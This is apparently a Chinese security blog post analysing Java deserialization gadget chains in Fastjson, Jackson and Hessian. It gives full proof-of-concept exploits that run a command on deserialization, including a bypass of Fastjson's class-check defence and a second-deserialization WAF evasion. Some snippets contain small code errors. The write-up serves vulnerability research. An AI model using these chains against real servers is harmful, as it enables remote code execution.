发一篇很久之前的内容,最近有接触到了一点
这里的原生反序化指的是不依赖于其他jar包的反序列化链,或者是指狭义的java反序列化readObject方法的调用
Fastjson原生反序列化
条件 fastjson 版本 <=2.0.26
(fastjson 1所有版本通杀)
JSONArray与JSONObject
实现了序列化接口
这里的点在于toString 方法
JSONObject 和 JSONArray 的toString 方法都是父类JSON 的toString 方法
在之前学习fastjson BCEL链的时候,就知道要用parse 方法触发,也就是套几层,时key为JSONObject 对象,调用对应的toString 方法(fastjson<=1.2.36),就会触发对应的getter方法,这里就再来具体看看
toString() 触发getter 跟进JSONSerializer#write
在SerializeConfig#getObjectWriter
根据我们的类型获取ObjectWriter
但是JSONObject 是实现了Map接口的,所以会先获取到
当然获取的是MapSerializer
跟进write方法,这里 会对取出其中的key和value 获取ObjectWriter
再write
当value 是 一般的类的时候,就会走到createJavaBeanSerializer
方法 ,之前看过就不再赘述
值得再提的是fastjson 默认配置asm 为 true,所以会使用ASM生成一个类,当然可以手动配置为false ,就会获取到JavaBeanSerializer
无论哪个都是靠 调用由 TypeUtils#buildBeanInfo
提取的getter 来获取 javabean 的属性值
ASM 方式的 getter方法调用 的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#_get
当中
也是通过反射调用
利用链 既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用
而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可
因此我们很容易写出利用链子
import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "yyjccc" ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonArray); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
或者
import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "yyjccc" ); JSONObject jsonObject = new JSONObject (); jsonObject.put("1" , templates); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonObject); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(val); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
1.2.49的限制 从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法
在其SecureObjectInputStream
类当中重写了resolveClass
,在其中调用了checkAutoType
方法做类的检查
这又进入了熟悉的checkAutoType方法
resolveClass限制绕过 要想知道resolve 是 怎么绕过的,就得对java 反序列化的流程有一定的了解(我不太了解,(:)
直接反向看,查看什么地方会调用 resolveClass
方法,他这里是重写了ObjectInputStream#resolveClass
发现只有一处调用:readNonProxyDesc
方法中
在readClassDesc
中调用了readNonProxyDesc
readClassDesc
方法从系统中读取当前Java对象所属类的描述信息,(关键点还不是这里)
这里对比一下流程
ObjectInputStream ->readObject0-> readClassDesc-> ... -> SecureObjectInputStream ->defaultReadObject->readObject0 ->readClassDesc-> resolveClass
当然也可以不按照上面的流程,
注意到readObject0 中的switch 分支
大多时候都是走TC_OBJECT
这个分支
但是还要注意到上面的TC_REFERENCE
分支,引用类型
注释也写的很清楚: check the type of the existing object
引用类型,这里的引用,是序列化机制的一种优化,
当序列化第二次遇到同一个对象的时候,不会再按照写入对象的流程,而是写入了一个引用,指向之前写入的同一个对象,以便序列化或者反序列化能够减少开销。
跟进readHandle
方法中
从缓存中获取对应的对象
那么只要在序列化的对象中内部重复放入同一个对象,那么第二个就会变为引用的分支(这样也可以减少重复的反序列化)
怎么操作呢?
答案是当向List、set、map类型中添加同样对象(被限制的加载类的对象)时即可成功利用,
这样就很巧妙,利用这些容器类,可以在反序列化JSONObject/JSONArray对象之前 就反序列化好恶意的TemplatesImpl对象
当反序列化JSONObject/JSONArray 当中的恶意对象时候就会走引用类型
这样就绕过了重写的 resolveClass 对类加载的限制
最后poc
import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import com.alibaba.fastjson2.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "yyjccc" ); JSONObject jsonObject = new JSONObject (); jsonObject.put("1" , templates); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, jsonObject); HashMap hashMap = new HashMap (); hashMap.put(templates,bad); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
所以可以利用先反序列化恶意对象,绕过检查,反序列化JSONObject 或者JSONArray 的时候,就是引用类型,无需类加载。
补充:
高版本fastjson中,JSONObjec/JSONArray 反序列化加载类的时候
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (name.length() > 2 ) { int index = name.lastIndexOf('[' ); if (index != -1 ) { name = name.substring(index + 1 ); } if (name.length() > 2 && name.charAt(0 ) == 'L' && name.charAt(name.length() - 1 ) == ';' ) { name = name.substring(1 , name.length() - 1 ); } if (TypeUtils.getClassFromMapping(name) == null) { ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask); } } return super.resolveClass(desc); }
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
正是fastjson autoType检查 加载类的过程(黑白名单)
但是loadClass后,会获取beanInfo
然后会获取无参构造方法,但是某些类没声明无参构造方法,会导致抛出异常,终止反序列化
但也得益于fastjson缓存机制,加载类成功后会缓存到map,上面代码 中若缓存中存在该类名,直接调用super.resolveClass
因此有些情况需要反序列化两次
例如:利用fastjson触发二次反序列化绕waf,其中SignObject 就是这个例子
打两次就好了
例题:
利用fastjson 触发SignObject#getObject
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); ReflectField.setField(templates, "_bytecodes" , bytes); ReflectField.setField(templates, "_name" , "yyjccc" ); JSONObject jsonObject = new JSONObject (); jsonObject.put("1" , templates); BadAttributeValueExpException bad = new BadAttributeValueExpException (null ); Field valfield = bad.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(bad, jsonObject); HashMap hashMap = new HashMap (); hashMap.put(templates,bad); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (hashMap, kp.getPrivate(), Signature.getInstance("DSA" )); JSONArray jsonArray1 = new JSONArray (); jsonArray1.add(signedObject); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Field edits = CompoundEdit.class.getDeclaredField("edits" ); edits.setAccessible(true ); Vector vector = (Vector)edits.get(undoManager); vector.add(jsonArray1); ReflectField.setField(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(eventListenerList); oos.close(); System.out.println(new String (Base64.getEncoder().encode(baos.toByteArray())));
需要先打1次,然后才能正常触发
Jackson原生反序列化 简单分析 这条 JACKSON 链可以直接在无任何额外依赖的 SpringBoot 环境下使用
jackson获取属性值也是通过getter方法来获取的, 跟fastjson原生反序列化一样是由toString 方法触发
com.fasterxml.jackson.databind.node.BaseJsonNode
这个类toString
最后是在BeanSerializerBase#serializeFields 中 prop.serializeAsField
里面调用getter方法![Snipaste_2024-10-03_16-18-56]
POJONode
继承了BaseJsonNode
在BeanSerializerFactory#constructBeanOrAddOnSerializer
中获取合适的getter ,其中细节就跳过
但是还是有问题
BaseJsonNode
中含有writeReplace
方法 会导致序列化的时候调用,导致提前触发而序列化失败
使用javassist 可以删除该方法
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" );CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" );jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();jsonNode.toClass(classLoader, null );
构造出poc:
import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javassist.CtMethod;import javax.management.BadAttributeValueExpException;import javax.net.ssl.HttpsURLConnection;import javax.net.ssl.SSLContext;import javax.net.ssl.TrustManager;import javax.net.ssl.X509TrustManager;import java.io.*;import java.lang.reflect.Field;import java.net.HttpURLConnection;import java.net.URL;import java.nio.file.Files;import java.security.SecureRandom;import java.security.cert.X509Certificate; public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "yyjccc" ); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); POJONode jsonNodes = new POJONode (templatesImpl); BadAttributeValueExpException exp = new BadAttributeValueExpException (null ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(exp,jsonNodes); SerializeUtil.serialize(exp); } }
Jackson链的不稳定性 如果多重启几次springboot环境 ,或者运气不好就不会成功
可以发现有getter的属性 除了 output 还有transletIndex
、stylesheetDOM
经过在springboot 环境下 多重启几次调式就可以发现 他们的顺序是随机的
如果当先触发getStylesheetDOM
方法的时候
_sdom 属性没有在readObject 方法中做任何处理,即便设置默认值 ,经过反序列化后得到的是null
那么就会触发空指针异常提前退出
就会如下报错
Caused by: java.lang.NullPointerException at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450 ) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:483 ) at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689 ) at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774 ) ... 74 more
根本原因 ,是由于java中getMethods方法返回方法数组中顺序是随机的
可以参考这篇文章:https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
参考网上的解决方案:使用动态代理
一个动态代理对象的方法是其代理的接口中的方法
而刚好TemplatesImpl 实现了接口Templates
其其中刚好只有上面三个方法中的getOutputProperties
由于一般都有spring依赖,使用spring的动态代理
JdkDynamicAopProxy
(也是实现了Serializable
接口)
其中的incoke 方法
public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { Object oldProxy = null ; boolean setProxyContext = false ; TargetSource targetSource = this .advised.targetSource; Object target = null ; ...... target = targetSource.getTarget(); Class<?> targetClass = target != null ? target.getClass() : null ; List<Object> chain = this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); ....... }
可以看出来被代理的对象存于advised 属性,即AdvisedSupport
类
而被代理对象又存于targetSource
不过AdvisedSupport#setTarget
的方法就可以直接设置被代理对象
构建动态代理
AdvisedSupport advisedSupport = new AdvisedSupport ();advisedSupport.setTarget(templatesImpl); Constructor c = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ) .getConstructor(AdvisedSupport.class); c.setAccessible(true ); InvocationHandler handler = (InvocationHandler)c.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler);
最终poc import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class Main { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "yyjccc" ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templatesImpl); Constructor c = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ) .getConstructor(AdvisedSupport.class); c.setAccessible(true ); InvocationHandler handler = (InvocationHandler)c.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); POJONode jsonNodes = new POJONode (proxy); BadAttributeValueExpException exp = new BadAttributeValueExpException (null ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(exp,jsonNodes); SerializeUtil.serialize(exp); SerializeUtil.unSerialize(); } }
Hessian JDK 原生反序列化 Hessain 反序列化 相较于原生的反序列化 类不需要实现Serializable
接口也能进行序列化和反序列化
这样范围就比原生的要广
实战中可能由于对方机器由于防火墙限制不能出网,那么就不能打JNDI
这时候就需要这一条链,Hessian反序列化的不出网打法
任意静态方法调用
在网上一个师傅的文章里找到了一条JDK原生的可以invoke任意静态方法,或实例化任意类的gadget:
UIDefaults#get-> UIDefaults#getFromHashTable-> UIDefaults$LazyValue#createValue-> SwingLazyValue#createValue
UIDefaults
这个类中
SwingLazyValue
中
这里只能调用类中的静态方法
其实之后可以调用InitContext#doLookup方法
defineClass 不出网执行任意代码的手段之一是将字节码defineClass
然后newInstense
,比如像基于TemplatesImpl
的原生反序列化。之前看内存马的时候,就用过Unsafe去加载一个类
但是这并不是一个静态方法,还需要套一层
Trampoline#invoke
方法能够实现静态方法到unsafe里的defineClass
但是直接加载Trampoline
这个类,会发生报错
于是又找到MethodUtil
这个类的invoke方法
MethodUtil
中的invoke也是通过Trampoline#invoke
这个方法触发的
由于参数类型的原因,需要套娃一层才能够进行defineClass
调用一次defineClass不能执行静态代码块,需要再利用SwingLazyValue
再来一次newInstance
String className = "GeneratedClass" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass(className); ctClass.makeClassInitializer().insertBefore( "Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = ctClass.toBytecode(); Method defineClass=Unsafe.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class, ClassLoader.class, ProtectionDomain.class); Object[] defineClassArgs =new Object []{"GeneratedClass" ,bytes,0 ,bytes.length,null ,null }; Field f = Unsafe.class.getDeclaredField("theUnsafe" ); f.setAccessible(true ); Unsafe unsafe = (Unsafe) f.get(null ); Method invoke = MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class); Object[] invokeArgs =new Object []{defineClass,unsafe,defineClassArgs}; SwingLazyValue defineClassswingLazyValue = new SwingLazyValue ("sun.reflect.misc.MethodUtil" ,"invoke" ,new Object []{invoke,new Object (),invokeArgs}); Object[] keyValueList1 = new Object []{"a" , defineClassswingLazyValue}; SwingLazyValue newInstanceswingLazyValue = new SwingLazyValue ("GeneratedClass" ,null ,new Object [0 ]); Object[] keyValueList2 = new Object []{"ddd" , newInstanceswingLazyValue}; UIDefaults uiDefaults = new UIDefaults (keyValueList1); UIDefaults uiDefaults2 = new UIDefaults (keyValueList2); uiDefaults.get("a" ); uiDefaults2.get("ddd" );
触发get HashTable 的equal方法
所以是
HashMap#put-> HashTable#equal-> UIDefaults#get
偷懒了,搬运其他师傅的poc
public static void main (String[] args) throws Exception { String className = "GeneratedClass" ; ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass(className); ctClass.makeClassInitializer().insertBefore( "Runtime.getRuntime().exec(\"calc\");" ); byte [] bytes = ctClass.toBytecode(); Method defineClass=Unsafe.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class, ClassLoader.class, ProtectionDomain.class); Object[] defineClassArgs =new Object []{"GeneratedClass" ,bytes,0 ,bytes.length,null ,null }; Field f = Unsafe.class.getDeclaredField("theUnsafe" ); f.setAccessible(true ); Unsafe unsafe = (Unsafe) f.get(null ); Method invoke = MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class); Object[] invokeArgs =new Object []{defineClass,unsafe,defineClassArgs}; SwingLazyValue defineClassswingLazyValue = new SwingLazyValue ("sun.reflect.misc.MethodUtil" ,"invoke" ,new Object []{invoke,new Object (),invokeArgs}); Object[] keyValueList1 = new Object []{"a" , defineClassswingLazyValue}; SwingLazyValue newInstanceswingLazyValue = new SwingLazyValue ("GeneratedClass" ,null ,new Object [0 ]); Object[] keyValueList2 = new Object []{"ddd" , newInstanceswingLazyValue}; UIDefaults uiDefaults1 = new UIDefaults (keyValueList1); UIDefaults uiDefaults2 = new UIDefaults (keyValueList1); UIDefaults uiDefaults3 = new UIDefaults (keyValueList2); UIDefaults uiDefaults4 = new UIDefaults (keyValueList2); Hashtable<Object, Object> hashtable1 = new Hashtable <>(); Hashtable<Object, Object> hashtable2 = new Hashtable <>(); Hashtable<Object, Object> hashtable3 = new Hashtable <>(); Hashtable<Object, Object> hashtable4 = new Hashtable <>(); hashtable1.put("a" , uiDefaults1); hashtable2.put("a" , uiDefaults2); hashtable3.put("b" , uiDefaults3); hashtable4.put("b" , uiDefaults4); HashMap<Object, Object> s = new HashMap <>(); ReflectField.setField(s, "size" , 4 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 4 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , hashtable1, hashtable1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , hashtable2, hashtable2, null )); Array.set(tbl, 2 , nodeCons.newInstance(0 , hashtable3, hashtable3, null )); Array.set(tbl, 3 , nodeCons.newInstance(0 , hashtable4, hashtable4, null )); ReflectField.setField(s, "table" , tbl); byte [] serialize = HessianSerialize.serialize(s); Object deserialize = HessianSerialize.deserialize(serialize); }
其他利用:https://yzddmr6.com/posts/swinglazyvalue-in-webshell/
Reference